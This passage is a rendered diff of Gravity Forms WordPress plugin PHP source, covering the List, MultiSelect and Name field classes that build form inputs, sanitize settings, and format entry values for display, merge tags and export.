||||
$choice_value = $choice['value'];
|
||||
$choice_text = $choice['text'];
|
||||
$choice_selected = array_key_exists( 'isSelected', $choice ) ? $choice['isSelected'] : false;
|
||||
} else {
|
||||
$choice_value = $choice;
|
||||
$choice_text = $choice;
|
||||
$choice_selected = false;
|
||||
}
|
||||
$is_selected = empty( $value ) ? $choice_selected : $choice_value == $value;
|
||||
$selected = $is_selected ? "selected='selected'" : '';
|
||||
$input .= "<option value='" . esc_attr( $choice_value ) . "' {$selected}>" . esc_html( $choice_text ) . '</option>';
|
||||
}
|
||||
$input .= '</select>';
|
||||
|
||||
break;
|
||||
|
||||
default :
|
||||
$input = "<input type='text' name='input_{$this->id}[]' value='" . esc_attr( $value ) . "' {$tabindex} {$disabled}/>";
|
||||
break;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filters the column input HTML markup.
|
||||
*
|
||||
* @since Unknown
|
||||
*
|
||||
* @param string $input The input markup.
|
||||
* @param array $input_info The information that was used to build the input.
|
||||
* @param object GF_Field_List An instance of the List field object.
|
||||
* @param string $column['text'] The column text value.
|
||||
* @param int $form_id The form ID.
|
||||
*/
|
||||
return gf_apply_filters( array(
|
||||
'gform_column_input_content',
|
||||
$form_id,
|
||||
$this->id,
|
||||
$column_index
|
||||
), $input, $input_info, $this, rgar( $column, 'text' ), $value, $form_id );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the CSS class to be used in the field label.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field::get_field_content()
|
||||
*
|
||||
* @return string String containing the CSS class names.
|
||||
*/
|
||||
public function get_field_label_class(){
|
||||
|
||||
$has_columns = is_array( $this->choices );
|
||||
|
||||
return $has_columns ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the value of te field from the form submission.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormsModel::get_field_value()
|
||||
* @uses GF_Field::get_input_value_submission()
|
||||
* @uses GF_Field_List::create_list_array()
|
||||
*
|
||||
* @param array $field_values The properties to search for.
|
||||
* @param bool $get_from_post_global_var If the global GET variable should be used to obtain the value. Defaults to true.
|
||||
*
|
||||
* @return array The submission value.
|
||||
*/
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
|
||||
// Allow the value to be an array of row arrays in addition to the array of rows.
|
||||
if ( is_array( rgar( $value, 0 ) ) ){
|
||||
// Already in correct format, return value unchanged.
|
||||
return $value;
|
||||
}
|
||||
|
||||
// Not already in the correct format.
|
||||
$value = $this->create_list_array( $value );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the submission value is empty.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDisplay::is_empty()
|
||||
* @uses GF_Field_List::$id
|
||||
*
|
||||
* @param int $form_id The form ID to check.
|
||||
*
|
||||
* @return bool True if empty. False otherwise.
|
||||
*/
|
||||
public function is_value_submission_empty( $form_id ) {
|
||||
$value = rgpost( 'input_' . $this->id );
|
||||
if ( is_array( $value ) ) {
|
||||
// Empty if all inputs are empty (for inputs with the same name).
|
||||
foreach ( $value as $input ) {
|
||||
if ( strlen( trim( $input ) ) > 0 ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the field value HTML markup to be used on the entry detail page.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_lead_field_display()
|
||||
*
|
||||
* @param array $value The submitted entry value.
|
||||
* @param string $currency Not used.
|
||||
* @param bool $use_text Not used.
|
||||
* @param string $format The format to be used when building the items.
|
||||
* Accepted values are text, url, or html. Defaults to html.
|
||||
* @param string $media Defines how the content will be output.
|
||||
* Accepted values are screen or email. Defaults to screen.
|
||||
*
|
||||
* @return string The HTML markup to be displayed.
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
if ( empty( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$value = maybe_unserialize( $value );
|
||||
|
||||
if( ! is_array( $value ) || ! isset( $value[0] ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$has_columns = is_array( $value[0] );
|
||||
|
||||
if ( ! $has_columns ) {
|
||||
$items = '';
|
||||
foreach ( $value as $key => $item ) {
|
||||
if ( ! empty( $item ) ) {
|
||||
$item = wp_kses_post( $item );
|
||||
switch ( $format ) {
|
||||
case 'text' :
|
||||
$items .= $item . ', ';
|
||||
break;
|
||||
case 'url' :
|
||||
$items .= $item . ',';
|
||||
break;
|
||||
default :
|
||||
if ( $media == 'email' ) {
|
||||
$items .= "<li>{$item}</li>";
|
||||
} else {
|
||||
$items .= "<li>{$item}</li>";
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( empty( $items ) ) {
|
||||
return '';
|
||||
} elseif ( $format == 'text' ) {
|
||||
return substr( $items, 0, strlen( $items ) - 2 ); // Removing last comma.
|
||||
} elseif ( $format == 'url' ) {
|
||||
return substr( $items, 0, strlen( $items ) - 1 ); // Removing last comma.
|
||||
} elseif ( $media == 'email' ) {
|
||||
return "<ul class='bulleted'>{$items}</ul>";
|
||||
} else {
|
||||
return "<ul class='bulleted'>{$items}</ul>";
|
||||
}
|
||||
} elseif ( is_array( $value ) ) {
|
||||
$columns = array_keys( $value[0] );
|
||||
|
||||
$list = '';
|
||||
|
||||
switch ( $format ) {
|
||||
case 'text' :
|
||||
$is_first_row = true;
|
||||
foreach ( $value as $item ) {
|
||||
if ( ! $is_first_row ) {
|
||||
$list .= "\n\n" . $this->label . ': ';
|
||||
}
|
||||
|
||||
$item = array_map( 'wp_kses_post', $item );
|
||||
|
||||
$list .= implode( ',', array_values( $item ) );
|
||||
|
||||
$is_first_row = false;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'url' :
|
||||
foreach ( $value as $item ) {
|
||||
$item = array_map( 'wp_kses_post', $item );
|
||||
$list .= implode( "|", array_values( $item ) ) . ',';
|
||||
}
|
||||
if ( ! empty( $list ) ) {
|
||||
$list = substr( $list, 0, strlen( $list ) - 1 );
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
default :
|
||||
if ( $media == 'email' ) {
|
||||
$list = "<table class='gfield_list' style='border-top: 1px solid #DFDFDF; border-left: 1px solid #DFDFDF; border-spacing: 0; padding: 0; margin: 2px 0 6px; width: 100%'><thead><tr>\n";
|
||||
|
||||
//reading columns from entry data
|
||||
foreach ( $columns as $column ) {
|
||||
$list .= "<th style='background-image: none; border-right: 1px solid #DFDFDF; border-bottom: 1px solid #DFDFDF; padding: 6px 10px; font-family: sans-serif; font-size: 12px; font-weight: bold; background-color: #F1F1F1; color:#333; text-align:left'>" . esc_html( $column ) . '</th>' . "\n";
|
||||
}
|
||||
$list .= '</tr></thead>' . "\n";
|
||||
|
||||
$list .= "<tbody style='background-color: #F9F9F9'>";
|
||||
foreach ( $value as $item ) {
|
||||
$list .= '<tr>';
|
||||
foreach ( $columns as $column ) {
|
||||
$val = rgar( $item, $column );
|
||||
$val = wp_kses_post( $val );
|
||||
$list .= "<td style='padding: 6px 10px; border-right: 1px solid #DFDFDF; border-bottom: 1px solid #DFDFDF; border-top: 1px solid #FFF; font-family: sans-serif; font-size:12px;'>{$val}</td>\n";
|
||||
}
|
||||
|
||||
$list .= '</tr>' . "\n";
|
||||
}
|
||||
|
||||
$list .= '<tbody></table>' . "\n";
|
||||
} else {
|
||||
$list = "<table class='gfield_list'><thead><tr>";
|
||||
|
||||
// Reading columns from entry data.
|
||||
foreach ( $columns as $column ) {
|
||||
$list .= '<th>' . esc_html( $column ) . '</th>' . "\n";
|
||||
}
|
||||
$list .= '</tr></thead>' . "\n";
|
||||
|
||||
$list .= '<tbody>';
|
||||
foreach ( $value as $item ) {
|
||||
$list .= '<tr>';
|
||||
foreach ( $columns as $column ) {
|
||||
$val = rgar( $item, $column );
|
||||
$val = wp_kses_post( $val );
|
||||
$list .= "<td>{$val}</td>\n";
|
||||
}
|
||||
|
||||
$list .= '</tr>' . "\n";
|
||||
}
|
||||
|
||||
$list .= '<tbody></table>' . "\n";
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return $list;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the value of the field when the entry is saved.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormsModel::prepare_value()
|
||||
* @uses GF_Field_List::$adminOnly
|
||||
* @uses GF_Field_List::$allowsPrepopulate
|
||||
* @uses GF_Field_List::create_list_array()
|
||||
* @uses GFCommon::is_empty_array()
|
||||
* @uses GF_Field::sanitize_entry_value()
|
||||
*
|
||||
* @param string $value The value to use.
|
||||
* @param array $form The form that the entry is associated with.
|
||||
* @param string $input_name The name of the input containing the value.
|
||||
* @param int $lead_id The entry ID.
|
||||
* @param array $lead The Entry Object.
|
||||
*
|
||||
* @return string The entry value. Escaped.
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( $this->is_administrative() && $this->allowsPrepopulate ) {
|
||||
$value = json_decode( $value );
|
||||
}
|
||||
|
||||
if ( GFCommon::is_empty_array( $value ) ) {
|
||||
$value = '';
|
||||
} else {
|
||||
$value = $this->create_list_array( $value );
|
||||
$value = serialize( $value );
|
||||
}
|
||||
|
||||
$value_safe = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
return $value_safe;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by
|
||||
* @uses GFCommon::get_lead_field_display()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
$modifiers = $this->get_modifiers();
|
||||
|
||||
$allowed_modifiers = array( 'text', 'html', 'url' );
|
||||
|
||||
if( $found_modifiers = array_intersect( $modifiers, $allowed_modifiers ) ) {
|
||||
$output_format = $found_modifiers[0];
|
||||
} else {
|
||||
$output_format = $format;
|
||||
}
|
||||
|
||||
return GFCommon::get_lead_field_display( $this, $raw_value, $entry['currency'], true, $output_format );
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates an array from the list items.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_List::get_value_save_entry()
|
||||
* @used-by GF_Field_List::get_value_submission()
|
||||
*
|
||||
* @param array $value The pre-formatted list.
|
||||
*
|
||||
* @return array The list rows.
|
||||
*/
|
||||
function create_list_array( $value ) {
|
||||
if ( ! $this->enableColumns ) {
|
||||
return $value;
|
||||
} else {
|
||||
$value = empty( $value ) ? array() : $value;
|
||||
$col_count = count( $this->choices );
|
||||
$rows = array();
|
||||
|
||||
$row_count = count( $value ) / $col_count;
|
||||
|
||||
$col_index = 0;
|
||||
for ( $i = 0; $i < $row_count; $i ++ ) {
|
||||
$row = array();
|
||||
foreach ( $this->choices as $column ) {
|
||||
$row[ $column['text'] ] = rgar( $value, $col_index );
|
||||
$col_index ++;
|
||||
}
|
||||
$rows[] = $row;
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the field settings.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::add_field()
|
||||
* @used-by GFFormsModel::sanitize_settings()
|
||||
* @uses GF_Field::sanitize_settings()
|
||||
* @uses GF_Field_List::$maxRows
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->maxRows = absint( $this->maxRows );
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the field value, formatted for exports. For CSV export return an array.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFExport::start_export()
|
||||
* @used-by GFAddOn::get_field_value()
|
||||
* @uses GF_Field_List::$id
|
||||
* @uses GF_Field_List::$enableColumns
|
||||
* @uses GF_Field_List::$choices
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param array $entry The Entry Object.
|
||||
* @param string $input_id Input ID to export. If not defined, uses the current input ID. Defaults to empty string.
|
||||
* @param bool $use_text Not used. Defaults to false.
|
||||
* @param bool $is_csv Is the value going to be used in the CSV export? Defaults to false.
|
||||
*
|
||||
* @return string|array
|
||||
*/
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
} elseif ( ! ctype_digit( $input_id ) ) {
|
||||
$field_id_array = explode( '.', $input_id );
|
||||
$input_id = rgar( $field_id_array, 0 );
|
||||
$column_num = rgar( $field_id_array, 1 );
|
||||
}
|
||||
|
||||
$value = rgar( $entry, $input_id );
|
||||
|
||||
$value = unserialize( $value );
|
||||
|
||||
if ( empty( $value ) || $is_csv ) {
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
$list_values = $column_values = $value;
|
||||
|
||||
if ( isset( $column_num ) && is_numeric( $column_num ) && $this->enableColumns ) {
|
||||
$column = rgars( $this->choices, "{$column_num}/text" );
|
||||
$column_values = array();
|
||||
foreach ( $list_values as $value ) {
|
||||
$column_values[] = rgar( $value, $column );
|
||||
}
|
||||
} elseif ( $this->enableColumns ) {
|
||||
|
||||
return json_encode( $list_values );
|
||||
}
|
||||
|
||||
return GFCommon::implode_non_blank( ', ', $column_values );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Register the list field.
|
||||
GF_Fields::register( new GF_Field_List() );
|
||||
395
includes/fields/class-gf-field-multiselect.php
Normal file
395
includes/fields/class-gf-field-multiselect.php
Normal file
@@ -0,0 +1,395 @@
|
||||
<?php
|
||||
|
||||
// If the GF_Field class isn't available, bail.
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Class GF_Field_MultiSelect
|
||||
*
|
||||
* Allows the creation of multiselect fields.
|
||||
*
|
||||
* @since Unknown
|
||||
*
|
||||
* @uses GF_Field
|
||||
*/
|
||||
class GF_Field_MultiSelect extends GF_Field {
|
||||
|
||||
public $type = 'multiselect';
|
||||
|
||||
/**
|
||||
* Returns the field title.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return string The field title. Escaped.
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Multi Select', 'gravityforms' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the class names of the settings which should be available on the field in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return array Settings available within the field editor.
|
||||
*/
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'enable_enhanced_ui_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'choices_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Indicates this field type can be used when configuring conditional logic rules.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the field inner markup.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field_MultiSelect::is_entry_detail()
|
||||
* @uses GF_Field_MultiSelect::is_form_editor()
|
||||
* @uses GF_Field_MultiSelect::get_conditional_logic_event()
|
||||
* @uses GF_Field_MultiSelect::get_tabindex()
|
||||
*
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
|
||||
* @param null|array $entry Null or the Entry Object currently being edited.
|
||||
*
|
||||
* @return string The field input HTML markup.
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$css_class = trim( esc_attr( $class ) . ' gfield_select' );
|
||||
$tabindex = $this->get_tabindex();
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
|
||||
/**
|
||||
* Allow the placeholder used by the enhanced ui to be overridden
|
||||
*
|
||||
* @since 1.9.14 Third parameter containing the field ID was added.
|
||||
* @since Unknown
|
||||
*
|
||||
* @param string $placeholder The placeholder text.
|
||||
* @param integer $form_id The ID of the current form.
|
||||
*/
|
||||
$placeholder = gf_apply_filters( array(
|
||||
'gform_multiselect_placeholder',
|
||||
$form_id,
|
||||
$this->id
|
||||
), __( 'Click to select...', 'gravityforms' ), $form_id, $this );
|
||||
$placeholder = $this->enableEnhancedUI ? "data-placeholder='" . esc_attr( $placeholder ) . "'" : '';
|
||||
|
||||
$size = $this->multiSelectSize;
|
||||
if ( empty( $size ) ) {
|
||||
$size = 7;
|
||||
}
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_multiselect'><select multiple='multiple' {$placeholder} size='{$size}' name='input_%d[]' id='%s' {$logic_event} class='%s' $tabindex %s>%s</select></div>", $id, esc_attr( $field_id ), $css_class, $disabled_text, $this->get_choices( $value ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper for retrieving the markup for the choices.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::get_select_choices()
|
||||
*
|
||||
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
|
||||
*
|
||||
* @return string Returns the choices available within the multi-select field.
|
||||
*/
|
||||
public function get_choices( $value ) {
|
||||
|
||||
$value = $this->to_array( $value );
|
||||
|
||||
return GFCommon::get_select_choices( $this, $value, false );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for display on the entries list page.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param string $field_id The field or input ID currently being processed.
|
||||
* @param array $columns The properties for the columns being displayed on the entry list page.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
*
|
||||
* @return string $value The value of the field. Escaped.
|
||||
*/
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
// Add space after comma-delimited values.
|
||||
$value = implode( ', ', $this->to_array( $value ) );
|
||||
return esc_html( $value );
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::selection_display()
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param string $currency The entry currency code.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param string $media The location where the value will be displayed. Possible values: screen or email.
|
||||
*
|
||||
* @return string The list items, stored within an unordered list.
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( empty( $value ) || $format == 'text' ) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
$value = $this->to_array( $value );
|
||||
|
||||
$items = '';
|
||||
foreach ( $value as $item ) {
|
||||
$item_value = GFCommon::selection_display( $item, $this, $currency, $use_text );
|
||||
$items .= '<li>' . esc_html( $item_value ) . '</li>';
|
||||
}
|
||||
|
||||
return "<ul class='bulleted'>{$items}</ul>";
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the value before it is saved to the Entry Object.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field_MultiSelect::sanitize_entry_value()
|
||||
*
|
||||
* @param array|string $value The value to be saved.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string $input_name The input name used when accessing the $_POST.
|
||||
* @param int $lead_id The ID of the Entry currently being processed.
|
||||
* @param array $lead The Entry Object currently being processed.
|
||||
*
|
||||
* @return string $value The field value. Comma separated if an array.
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
foreach ( $value as &$v ) {
|
||||
$v = $this->sanitize_entry_value( $v, $form['id'] );
|
||||
}
|
||||
} else {
|
||||
$value = $this->sanitize_entry_value( $value, $form['id'] );
|
||||
}
|
||||
|
||||
return empty( $value ) ? '' : $this->to_string( $value );
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for when the field/input merge tag is processed.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::format_post_category()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
* @uses GFCommon::selection_display()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
|
||||
* @param string $input_id The field or input ID from the merge tag currently being processed.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string $modifier The merge tag modifier. e.g. value
|
||||
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
|
||||
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
|
||||
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
|
||||
*
|
||||
* @return string $return The merge tag value.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
$items = $this->to_array( $raw_value );
|
||||
|
||||
if ( $this->type == 'post_category' ) {
|
||||
$use_id = $modifier == 'id';
|
||||
|
||||
if ( is_array( $items ) ) {
|
||||
foreach ( $items as &$item ) {
|
||||
$cat = GFCommon::format_post_category( $item, $use_id );
|
||||
$item = GFCommon::format_variable_value( $cat, $url_encode, $esc_html, $format );
|
||||
}
|
||||
}
|
||||
} elseif ( $modifier != 'value' ) {
|
||||
|
||||
foreach ( $items as &$item ) {
|
||||
$item = GFCommon::selection_display( $item, $this, rgar( $entry, 'currency' ), true );
|
||||
$item = GFCommon::format_variable_value( $item, $url_encode, $esc_html, $format );
|
||||
}
|
||||
}
|
||||
|
||||
$return = GFCommon::implode_non_blank( ', ', $items );
|
||||
|
||||
if ( $format == 'html' || $esc_html ) {
|
||||
$return = esc_html( $return );
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::selection_display()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param array $entry The entry currently being processed.
|
||||
* @param string $input_id The field or input ID.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param bool|false $is_csv Is the value going to be used in the .csv entries export?
|
||||
*
|
||||
* @return string $value The value of a field from an export file.
|
||||
*/
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
}
|
||||
|
||||
$value = rgar( $entry, $input_id );
|
||||
|
||||
if ( ! empty( $value ) && ! $is_csv ) {
|
||||
$items = $this->to_array( $value );
|
||||
|
||||
foreach ( $items as &$item ) {
|
||||
$item = GFCommon::selection_display( $item, $this, rgar( $entry, 'currency' ), $use_text );
|
||||
}
|
||||
$value = GFCommon::implode_non_blank( ', ', $items );
|
||||
|
||||
} elseif ( $this->storageType === 'json' ) {
|
||||
|
||||
$items = json_decode( $value );
|
||||
$value = GFCommon::implode_non_blank( ', ', $items );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts an array to a string.
|
||||
*
|
||||
* @since 2.2.3.7 Changed access to public.
|
||||
* @since 2.2
|
||||
* @access public
|
||||
*
|
||||
* @uses \GF_Field_MultiSelect::$storageType
|
||||
*
|
||||
* @param array $value The array to convert to a string.
|
||||
*
|
||||
* @return string The converted string.
|
||||
*/
|
||||
public function to_string( $value ) {
|
||||
if ( $this->storageType === 'json' ) {
|
||||
return json_encode( $value );
|
||||
} else {
|
||||
return is_array( $value ) ? implode( ',', $value ) : $value;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a string to an array.
|
||||
*
|
||||
* @since 2.2.3.7 Changed access to public.
|
||||
* @since 2.2
|
||||
* @access public
|
||||
*
|
||||
* @uses \GF_Field_MultiSelect::$storageType
|
||||
*
|
||||
* @param string $value A comma-separated or JSON string to convert.
|
||||
*
|
||||
* @return array The converted array.
|
||||
*/
|
||||
public function to_array( $value ) {
|
||||
if ( empty( $value ) ) {
|
||||
return array();
|
||||
} elseif ( is_array( $value ) ) {
|
||||
return $value;
|
||||
} elseif ( $this->storageType !== 'json' || $value[0] !== '[' ) {
|
||||
return array_map( 'trim', explode( ',', $value ) );
|
||||
} else {
|
||||
$json = json_decode( $value, true );
|
||||
|
||||
return $json == null ? array() : $json;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Forces settings into expected values while saving the form object.
|
||||
*
|
||||
* No escaping should be done at this stage to prevent double escaping on output.
|
||||
*
|
||||
* Currently called only for forms created after version 1.9.6.10.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return void
|
||||
*
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->enableEnhancedUI = (bool) $this->enableEnhancedUI;
|
||||
|
||||
$this->storageType = empty( $this->storageType ) || $this->storageType === 'json' ? $this->storageType : 'json';
|
||||
|
||||
if ( $this->type === 'post_category' ) {
|
||||
$this->displayAllCategories = (bool) $this->displayAllCategories;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Register the new field type.
|
||||
GF_Fields::register( new GF_Field_MultiSelect() );
|
||||
647
includes/fields/class-gf-field-name.php
Normal file
647
includes/fields/class-gf-field-name.php
Normal file
@@ -0,0 +1,647 @@
|
||||
<?php
|
||||
|
||||
// If Gravity Forms isn't loaded, bail.
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Class GF_Field_Name
|
||||
*
|
||||
* Handles the behavior of the Name field.
|
||||
*
|
||||
* @since Unknown
|
||||
*/
|
||||
class GF_Field_Name extends GF_Field {
|
||||
|
||||
/**
|
||||
* Sets the field type.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @var string The type of field.
|
||||
*/
|
||||
public $type = 'name';
|
||||
|
||||
/**
|
||||
* Sets the field title of the Name field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_type_title()
|
||||
* @used-by GF_Field::get_form_editor_button()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Name', 'gravityforms' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines if conditional logic is supported by the Name field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::inline_scripts()
|
||||
* @used-by GFFormSettings::output_field_scripts()
|
||||
*
|
||||
* @return bool true
|
||||
*/
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates Name field inputs.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDisplay::validate()
|
||||
* @uses GF_Field_Name::$isRequired
|
||||
* @uses GF_Field_Name::$nameFormat
|
||||
* @uses GF_Field_Name::get_input_property
|
||||
